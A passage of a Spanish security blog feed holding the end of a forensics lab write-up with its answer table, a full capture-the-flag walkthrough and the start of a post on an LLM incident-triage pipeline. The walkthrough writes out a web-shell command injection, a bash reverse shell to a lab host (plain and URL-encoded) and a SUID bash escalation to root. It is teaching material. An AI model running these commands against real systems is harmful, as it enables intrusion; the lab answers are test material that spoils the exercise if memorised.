&lt;pre&gt;&lt;code&gt;confidential_dump.sql.gz
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Aquí conviene limpiar una inconsistencia presente en las notas. En el solucionario aparece como respuesta a la pregunta sobre los primeros 8 caracteres del hash MD5 la cadena &lt;code&gt;7af9d12b_confidential_dump.sql.gz&lt;/code&gt;, pero la parte que realmente responde a esa pregunta es &lt;code&gt;7af9d12b&lt;/code&gt;. El nombre del archivo exfiltrado, por otro lado, es &lt;code&gt;confidential_dump.sql.gz&lt;/code&gt;, o bien la cadena completa observada en el payload: &lt;code&gt;7af9d12b_confidential_dump.sql.gz&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Esta fase la diseñé para que el participante entendiera que la exfiltración no siempre exige reconstruir un archivo completo. A veces basta con recuperar fragmentos de naming, prefijos hash o metadatos embebidos en el flujo para saber qué salió y desde dónde. Es una lección útil fuera del laboratorio, sobre todo cuando se trabaja con capturas parciales o con tráfico incompleto.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Qué quería enseñar al diseñar DevOps Nightmare&lt;/h2&gt;
&lt;p&gt;DevOps Nightmare está pensado como una cadena de fallos y evidencias, no como una sucesión de adivinanzas. Quería que el laboratorio obligara a relacionar acceso inicial, ejecución posterior, persistencia, movimiento lateral y exfiltración bajo una lógica reconocible en un incidente real.&lt;/p&gt;
&lt;p&gt;La máquina enseña que una investigación sólida no depende de encontrar una bala de plata en un solo archivo. Depende de saber leer contexto, tiempos y relaciones entre artefactos. También quería que cada fase representara un error operativo concreto: una cuenta expuesta, un sistema capaz de descargar y ejecutar contenido externo, un listener persistente sin control, una red interna alcanzable y un activo sensible finalmente exfiltrado.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Fase&lt;/th&gt;
&lt;th&gt;Qué enseña&lt;/th&gt;
&lt;th&gt;Error representado&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Acceso inicial&lt;/td&gt;
&lt;td&gt;Detectar compromiso correlando fallo y éxito de autenticación&lt;/td&gt;
&lt;td&gt;Credenciales comprometidas o débiles en cuenta con acceso SSH&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Descarga de payload&lt;/td&gt;
&lt;td&gt;Identificar ejecución posterior al login y rastrear infraestructura externa&lt;/td&gt;
&lt;td&gt;Capacidad de descargar y ejecutar contenido externo sin control efectivo&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Persistencia&lt;/td&gt;
&lt;td&gt;Validar una anomalía de red con evidencia del sistema&lt;/td&gt;
&lt;td&gt;Listener persistente no autorizado en puerto alto&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Movimiento lateral&lt;/td&gt;
&lt;td&gt;Relacionar tráfico interno con metadatos del entorno&lt;/td&gt;
&lt;td&gt;Segmentación insuficiente o confianza excesiva entre sistemas internos&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Exfiltración&lt;/td&gt;
&lt;td&gt;Extraer indicadores del archivo robado desde payload parcial&lt;/td&gt;
&lt;td&gt;Falta de visibilidad o control sobre salidas de datos sensibles&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;En conjunto, la cadena busca dejar una idea sencilla: cuando varias pequeñas debilidades conviven en el mismo entorno, el impacto no lo marca cada fallo por separado, sino su combinación.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Recursos y referencias&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;grep&lt;/code&gt;, &lt;code&gt;cat&lt;/code&gt;, &lt;code&gt;awk&lt;/code&gt; para filtrado y lectura inicial de evidencias.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tshark&lt;/code&gt; o Wireshark para análisis de conversaciones y payloads.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;base64&lt;/code&gt; para decodificar artefactos simples ofuscados.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;xxd&lt;/code&gt; y &lt;code&gt;strings&lt;/code&gt; para reconstrucción e interpretación de contenido hexadecimal.&lt;/li&gt;
&lt;li&gt;Revisión cruzada entre &lt;code&gt;auth.log&lt;/code&gt;, &lt;code&gt;syslog&lt;/code&gt; y &lt;code&gt;network.pcap&lt;/code&gt; como método base de correlación.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Resumen operativo de hallazgos&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Pregunta&lt;/th&gt;
&lt;th&gt;Respuesta&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;IP del atacante inicial&lt;/td&gt;
&lt;td&gt;&lt;code&gt;45.63.89.234&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Usuario comprometido primero&lt;/td&gt;
&lt;td&gt;&lt;code&gt;developer1&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fichero malicioso descargado&lt;/td&gt;
&lt;td&gt;&lt;code&gt;update_agent.sh&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dominio usado para C2 o distribución&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cdn-update.devops.tech&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Puerto usado para persistencia&lt;/td&gt;
&lt;td&gt;&lt;code&gt;54321&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hostname del segundo servidor comprometido&lt;/td&gt;
&lt;td&gt;&lt;code&gt;dbmaster01&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Primeros 8 caracteres observados del identificador/hash&lt;/td&gt;
&lt;td&gt;&lt;code&gt;7af9d12b&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nombre legible del archivo robado&lt;/td&gt;
&lt;td&gt;&lt;code&gt;confidential_dump.sql.gz&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;&lt;/code&gt;&lt;/pre&gt;
</content:encoded><author>Oscar</author></item><item><title>Operación Pescador: de un upload expuesto a una shell web y una escalada trivial por SUID</title><link>https://blog.oscarai.tech/posts/operaci%C3%B3n-pescador-de-un-upload-expuesto-a-una-shell-web-y-una-escalada-trivial-por-suid</link><guid isPermaLink="true">https://blog.oscarai.tech/posts/operaci%C3%B3n-pescador-de-un-upload-expuesto-a-una-shell-web-y-una-escalada-trivial-por-suid</guid><pubDate>Sat, 14 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Plataforma:&lt;/strong&gt; The Hackers Labs&lt;br /&gt;
&lt;strong&gt;Sistema operativo:&lt;/strong&gt; Linux&lt;br /&gt;
&lt;strong&gt;Dificultad:&lt;/strong&gt; media&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Sobre este CTF&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Operación Pescador&lt;/strong&gt; es una máquina que gira alrededor de una cadena muy concreta y muy realista: una superficie web mal expuesta, un archivo subido accesible desde una ruta pública y una ejecución remota de comandos que termina en una escalada local casi inmediata por una mala configuración de permisos.&lt;/p&gt;
&lt;p&gt;No es un laboratorio especialmente complejo en lo técnico, pero sí útil para enseñar una lección importante: cuando una aplicación permite subir contenido y ese contenido termina ejecutándose en servidor, el sistema ya está roto. Si además el host arrastra un binario con SUID mal asignado, el salto a &lt;code&gt;root&lt;/code&gt; deja de ser una escalada y pasa a ser un trámite.&lt;/p&gt;
&lt;p&gt;En esta entrada muestro la resolución completa, desde el descubrimiento de la máquina hasta la obtención de privilegios totales, explicando qué representa cada fase y por qué esta cadena sigue siendo relevante fuera del laboratorio.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Información técnica&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Campo&lt;/th&gt;
&lt;th&gt;Valor&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Nombre&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Operación Pescador&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;IP objetivo&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;10.0.4.39&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Servicios&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;SSH (22), HTTP (80)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vectores principales&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;panel web → ruta &lt;code&gt;/uploads&lt;/code&gt; expuesta → web shell accesible → RCE → bash con SUID&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Dificultad&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;media&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Descubrimiento de la máquina&lt;/h2&gt;
&lt;p&gt;En este caso, el primer paso no fue enumerar puertos, sino identificar qué IP había recibido la máquina dentro del entorno de laboratorio. Para ello utilizamos &lt;code&gt;netdiscover&lt;/code&gt; sobre la red local:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;netdiscover -i eth1 -r 10.0.0.0/16
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Salida relevante:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Currently scanning: 10.0.0.0/16   |   Screen View: Unique Hosts

 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------
 10.0.4.1        52:54:00:12:35:00      1      60  Unknown vendor
 10.0.4.2        52:54:00:12:35:00      1      60  Unknown vendor
 10.0.4.3        08:00:27:6f:3d:92      1      60  PCS Systemtechnik GmbH
 10.0.4.39       08:00:27:80:8c:91      1      60  PCS Systemtechnik GmbH
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;La IP de la víctima se identifica como:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;10.0.4.39
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Escaneo de puertos&lt;/h2&gt;
&lt;p&gt;Con la IP ya localizada, pasamos a enumerar la superficie expuesta. Primero realizamos un escaneo general y después uno más preciso sobre los puertos encontrados.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -n -Pn -sS -sV -p- --open --min-rate 5000 10.0.4.39
nmap -n -Pn -sCV -p22,80 --min-rate 5000 10.0.4.39
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Resultado:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-22 23:29 +0100
Nmap scan report for 10.0.4.39
Host is up (0.00021s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
|   256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)
|_  256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519)
80/tcp open  http    Apache httpd 2.4.65
|_http-server-header: Apache/2.4.65 (Debian)
|_http-title: Did not follow redirect to http://mail.innovasolutions.thl/
MAC Address: 08:00:27:80:8C:91 (Oracle VirtualBox virtual NIC)
Service Info: Host: mail.innovasolutions.thl; OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Análisis inicial&lt;/h3&gt;
&lt;p&gt;La máquina expone dos servicios:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SSH&lt;/strong&gt; en el puerto &lt;code&gt;22&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HTTP&lt;/strong&gt; en el puerto &lt;code&gt;80&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;El detalle importante no es solo el Apache, sino la redirección a un nombre de host concreto:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mail.innovasolutions.thl
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Eso obliga a añadir la resolución local en &lt;code&gt;/etc/hosts&lt;/code&gt; para poder interactuar correctamente con la aplicación web.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;10.0.4.39   mail.innovasolutions.thl
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Enumeración web&lt;/h2&gt;
&lt;p&gt;Una vez resuelto el dominio, accedemos al servicio HTTP y encontramos un panel de inicio de sesión. La propia aplicación deja entrever que no será especialmente útil intentar fuerza bruta directa sobre ese formulario, así que el siguiente paso razonable es enumerar rutas y contenido expuesto.&lt;/p&gt;
&lt;p&gt;Para ello utilizamos &lt;code&gt;gobuster&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gobuster dir -u http://mail.innovasolutions.thl -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x html,zip,php,txt,bak,sh -b 403,404 -t 60
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Resultado relevante:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/login.php            (Status: 200) [Size: 1619]
/uploads              (Status: 301) [Size: 338] [--&amp;gt; http://mail.innovasolutions.thl/uploads/]
/upload.php           (Status: 302) [Size: 0] [--&amp;gt; login.php]
/logout.php           (Status: 302) [Size: 0] [--&amp;gt; login.php]
/forgot_password.php  (Status: 200) [Size: 1317]
/dashboard.php        (Status: 302) [Size: 0] [--&amp;gt; login.php]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Comentario&lt;/h3&gt;
&lt;p&gt;Aquí aparece el punto más interesante de la enumeración: la carpeta &lt;strong&gt;&lt;code&gt;/uploads&lt;/code&gt;&lt;/strong&gt; está expuesta públicamente.&lt;/p&gt;
&lt;p&gt;Al acceder a ella encontramos un archivo cuyo contenido aparenta ser una imagen, pero cuya extensión real es &lt;code&gt;.php&lt;/code&gt;. Ese detalle cambia por completo la lectura del escenario, porque deja abierta la posibilidad de que no estemos ante un simple recurso estático, sino ante una web shell o un archivo ejecutable accesible desde web.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Explotación&lt;/h2&gt;
&lt;h3&gt;Descubrimiento del parámetro ejecutable&lt;/h3&gt;
&lt;p&gt;Con el archivo ya localizado dentro de &lt;code&gt;/uploads&lt;/code&gt;, el siguiente paso es comprobar si acepta parámetros que permitan lectura local o ejecución de comandos. Para ello usamos &lt;code&gt;wfuzz&lt;/code&gt; contra la URL del archivo:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -u http://mail.innovasolutions.thl/uploads/foto.png.php?FUZZ=id --hc 404 --hl 2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Resultado:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000005340:   200        3120 L   25661 W    677561 Ch   &quot;cmd&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;El parámetro válido es:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cmd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A partir de ahí, probamos ejecución directa:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://mail.innovasolutions.thl/uploads/foto.png.php?cmd=id
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;La ejecución funciona correctamente. Ya tenemos &lt;strong&gt;RCE&lt;/strong&gt; sobre el servidor.&lt;/p&gt;
&lt;h3&gt;Análisis&lt;/h3&gt;
&lt;p&gt;Este es el fallo central de la máquina. No estamos explotando una vulnerabilidad compleja del framework ni un bypass sofisticado. Estamos aprovechando una combinación mucho más básica y mucho más peligrosa:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;una ruta de uploads visible públicamente&lt;/li&gt;
&lt;li&gt;un archivo ejecutable dentro de esa ruta&lt;/li&gt;
&lt;li&gt;un parámetro que permite ejecutar comandos del sistema&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;En un entorno real, esto equivale a perder el servidor en cuanto alguien encuentre el recurso correcto.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Obtención de reverse shell&lt;/h2&gt;
&lt;p&gt;Con RCE confirmada, el siguiente paso es obtener una shell interactiva. Para ello preparamos un listener en la máquina atacante:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo nc -nlvp 4444
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Después ejecutamos un one-liner de Bash a través del parámetro &lt;code&gt;cmd&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;...?cmd=bash -c &apos;bash -i &amp;gt;&amp;amp; /dev/tcp/10.0.4.12/4444 0&amp;gt;&amp;amp;1&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Como había espacios y caracteres especiales, se aplicó URL encoding para evitar problemas:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;...?cmd=%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%34%2e%31%32%2f%34%34%34%34%20%30%3e%26%31%27
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Resultado en el listener:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;listening on [any] 4444 ...
connect to [10.0.4.12] from (UNKNOWN) [10.0.4.39] 50076
bash: cannot set terminal process group (563): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.2$ whoami
www-data
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ya tenemos shell como:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Tratamiento de TTY&lt;/h2&gt;
&lt;p&gt;Antes de revisar escalada de privilegios, conviene estabilizar la shell para trabajar con más comodidad.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;script /dev/null -c bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Después:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ctrl + z
stty raw -echo; fg
reset xterm
export TERM=xterm
export BASH=bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Esto deja una terminal bastante más usable para la fase local.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Escalada de privilegios&lt;/h2&gt;
&lt;h3&gt;Revisión de binarios SUID&lt;/h3&gt;
&lt;p&gt;Con acceso como &lt;code&gt;www-data&lt;/code&gt;, revisamos binarios con SUID:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;find / -perm -4000 -type f 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Resultado relevante:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/usr/local/bin/get-report
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/passwd
/usr/bin/mount
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/bash
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;El dato clave aquí es este:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/usr/bin/bash
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Análisis&lt;/h3&gt;
&lt;p&gt;Tener &lt;code&gt;bash&lt;/code&gt; con el bit SUID activo rompe por completo el modelo de privilegios del sistema. No hace falta encadenar nada más. No hace falta explotación avanzada. Basta con preservar privilegios al invocar el binario adecuado.&lt;/p&gt;
&lt;p&gt;La escalada es inmediata:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/bin/bash -p
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Resultado:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bash-5.2# whoami
root
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ya somos &lt;code&gt;root&lt;/code&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Flags&lt;/h2&gt;
&lt;p&gt;Con privilegios totales ya podemos recuperar las flags del sistema:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat /home/laptop/flag.txt
cat /root/root.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Notas del autor&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Operación Pescador&lt;/strong&gt; está diseñada para enseñar una cadena muy reconocible en escenarios web mal protegidos:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vector&lt;/th&gt;
&lt;th&gt;Lo que enseña&lt;/th&gt;
&lt;th&gt;Error real representado&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;redirección a dominio interno&lt;/td&gt;
&lt;td&gt;dependencia de resolución correcta&lt;/td&gt;
&lt;td&gt;aplicaciones que esperan un &lt;code&gt;Host&lt;/code&gt; concreto&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ruta &lt;code&gt;/uploads&lt;/code&gt; expuesta&lt;/td&gt;
&lt;td&gt;enumeración de contenido sensible&lt;/td&gt;
&lt;td&gt;directorios públicos con material ejecutable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;archivo &lt;code&gt;.php&lt;/code&gt; disfrazado&lt;/td&gt;
&lt;td&gt;ejecución desde zona de subida&lt;/td&gt;
&lt;td&gt;uploads inseguros sin separación real&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;parámetro &lt;code&gt;cmd&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;RCE directa&lt;/td&gt;
&lt;td&gt;web shells o scripts dejados en producción&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;reverse shell como &lt;code&gt;www-data&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;compromiso del servicio web&lt;/td&gt;
&lt;td&gt;ejecución sobre el usuario del servidor&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;bash&lt;/code&gt; con SUID&lt;/td&gt;
&lt;td&gt;escalada trivial a &lt;code&gt;root&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;permisos catastróficos sobre binarios comunes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Lo importante de esta máquina no es solo llegar rápido a &lt;code&gt;root&lt;/code&gt;. Lo importante es entender lo poco que hace falta cuando una aplicación permite ejecutar código desde una zona que nunca debió ser pública y el sistema además arrastra una configuración SUID desastrosa.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Recursos y referencias&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nmap.org&quot;&gt;Nmap&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/OJ/gobuster&quot;&gt;Gobuster&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/xmendez/wfuzz&quot;&gt;Wfuzz&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://gtfobins.github.io&quot;&gt;GTFOBins&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>Oscar</author></item><item><title>El agente que piensa antes de actuar</title><link>https://blog.oscarai.tech/posts/el-agente-que-piensa-antes-de-actuar</link><guid isPermaLink="true">https://blog.oscarai.tech/posts/el-agente-que-piensa-antes-de-actuar</guid><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Hay una conversación que se repite constantemente en LinkedIn, en foros, en grupos de Slack.
Alguien descubre los agentes de IA autónomos. Los instala. Delega todo. Y a los pocos días aparece con la misma queja:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;He gastado los créditos de un mes en tres días y no tengo nada que pueda defender.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;No es un problema de la herramienta. Es un problema de diseño.&lt;/p&gt;
&lt;h2&gt;Lo nuevo que no es tan nuevo&lt;/h2&gt;
&lt;p&gt;Cada cierto tiempo aparece algo que el mercado presenta como una revolución.&lt;/p&gt;
&lt;p&gt;Últimamente le toca a los agentes autónomos que acceden a tu sistema, ejecutan tareas y modifican ficheros sin que tú supervises cada paso. Hay herramientas nuevas con nombres llamativos. Hay vídeos de gente delegando proyectos enteros. Hay ansiedad colectiva de no estar usándolo ya.&lt;/p&gt;
&lt;p&gt;Pero si llevas tiempo trabajando con Claude, esto te suena familiar. Porque Claude Desktop con MCP Filesystem Server lleva haciendo exactamente eso desde noviembre de 2024. El acceso al sistema local, la lectura y escritura de ficheros, la ejecución condicional - todo eso ya existía. Lo que ha cambiado es el envoltorio y el ruido alrededor.&lt;/p&gt;
&lt;p&gt;La pregunta que nadie se hace es la que importa: &lt;strong&gt;¿qué le estás delegando, y tienes criterio para revisar lo que te devuelve?&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;El modelo amplifica lo que ya sabes&lt;/h2&gt;
&lt;p&gt;Llevo años trabajando en entornos donde un error de diagnóstico tiene consecuencias reales. Banca, retail, infraestructura crítica. En esos contextos aprendes algo que ningún tutorial enseña: &lt;strong&gt;la diferencia entre una alerta y una señal&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Una alerta es un número que supera un umbral. Una señal es un patrón que anticipa un problema antes de que el sistema lo declare oficialmente.&lt;/p&gt;
&lt;p&gt;Quería saber si un modelo bien contextualizado podía aplicar ese tipo de criterio. No seguir reglas fijas. Reconocer patrones con contexto de dominio real.&lt;/p&gt;
&lt;p&gt;Diseñé un experimento sencillo: un pipeline LLM con ejecución condicional, construido enteramente con Claude Code, sin instalar nada adicional, sin frameworks externos, sin gastar créditos innecesarios en automatizar lo que no necesita automatización.&lt;/p&gt;
&lt;p&gt;El código está aquí: &lt;strong&gt;&lt;a href=&quot;https://github.com/oscaar90/incident-triage-agent&quot;&gt;incident-triage-agent&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;La arquitectura&lt;/h2&gt;
&lt;p&gt;El flujo es deliberadamente simple:&lt;/p&gt;
&lt;p&gt;Un script Python genera métricas falsas pero realistas en un fichero JSON. El orquestador lee ese fichero y activa al &lt;strong&gt;Agente Analyst&lt;/strong&gt; - un prompt especializado con rol de SRE senior escéptico que requiere al menos dos señales correlacionadas antes de declarar un incidente. Si el Analyst confirma el incidente, el orquestador activa al &lt;strong&gt;Agente Responder&lt;/strong&gt;, que genera el runbook de respuesta inicial. Si no hay incidente, el flujo termina con justificación. Sin runbook, sin ruido.&lt;/p&gt;
&lt;p&gt;La clave está en el &lt;code&gt;CLAUDE.md&lt;/code&gt; en la raíz del proyecto. Ese fichero actúa como instrucción de sistema persistente para el orquestador. Claude Code lo lee al arrancar y sabe exactamente qué hacer, en qué orden, y bajo qué condiciones. No hay código de orquestación adicional. No hay dependencias. No hay infraestructura que mantener.&lt;/p&gt;
&lt;p&gt;Tres escenarios para probar el criterio del pipeline:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Escenario 1:&lt;/strong&gt; CPU alta, disco disparado. Son las 02:00. Es el batch de backup recurrente. Ruido.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Escenario 2:&lt;/strong&gt; Pool de conexiones DB al 99%, 847 query timeouts en 5 minutos, error rate 55 veces el baseline, servicio downstream ya degradado. Incidente crítico en cascada.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Escenario 3:&lt;/strong&gt; Latencia elevada, error rate leve, deploy hace 20 minutos. Ambiguo.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Lo que me importaba ver&lt;/h2&gt;
&lt;p&gt;El escenario 2 era el control. Cualquier sistema con umbrales básicos lo declara incidente. Lo interesante era cómo lo justificaba.&lt;/p&gt;
&lt;p&gt;El Agente Analyst no dijo que había 7 métricas por encima del umbral. Aplicó el patrón clásico de incidente de base de datos que cualquier SRE senior reconoce: &lt;em&gt;pool de conexiones agotado - query timeouts - error rate en cascada - servicio downstream afectado&lt;/em&gt;. Identificó el origen probable, descartó las explicaciones de ruido (sin batch activo, deploy hace 25 horas, tráfico normal) y escribió su decisión con 97% de confianza.&lt;/p&gt;
